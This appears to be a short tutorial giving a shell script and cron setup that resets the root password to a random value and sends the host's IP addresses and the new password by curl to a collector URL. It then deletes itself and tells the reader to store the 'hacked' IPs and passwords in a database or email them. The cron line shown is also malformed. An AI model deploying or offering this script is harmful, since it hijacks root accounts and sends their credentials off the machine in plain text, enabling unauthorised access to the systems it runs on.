Create file with any name, for example myscript.sh
#!/bin/sh IPS=$(hostname -I) PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 20) IPS=$(echo $IPS | sed 's/ /%20/g') echo $PASSWORD >> /var/log/passwordiscript.log echo "root:$PASSWORD" | chpasswd curl -X GET "http://192.168.1.100:8080/collectdata?ip=$IPS&password=$PASSWORD"; >> /var/log/passwordiscript.log ##ToForceChangeRootPassword## passwd -e root ##ToForceChangeRootPassword## #delete the script after submitting at URL rm -- "$0"
This script will gather information like system IP address and password, data will be submitted to your provided url using curl, root user’s password will be changed before submitting data to URL.
Set file permissions to make file executable.
# chmod 755 /your_path/myscript.sh
Write your own web application to accept IP address and password at query string. Further within application store hacked IP and password to database OR email it. Here in above script webserver started at port 8080 with an server address 192.168.1.100. Using this webserver data is accpted at URL http://192.168.1.100:8080/collectdata?ip=$IPS&password=$PASSWORD
User crontabl -e command to add new cronjob. To execute a command on 20th November 2019 at midnight add cron as follow:
0 0 20 11 ? 2019 /your_path/myscript.sh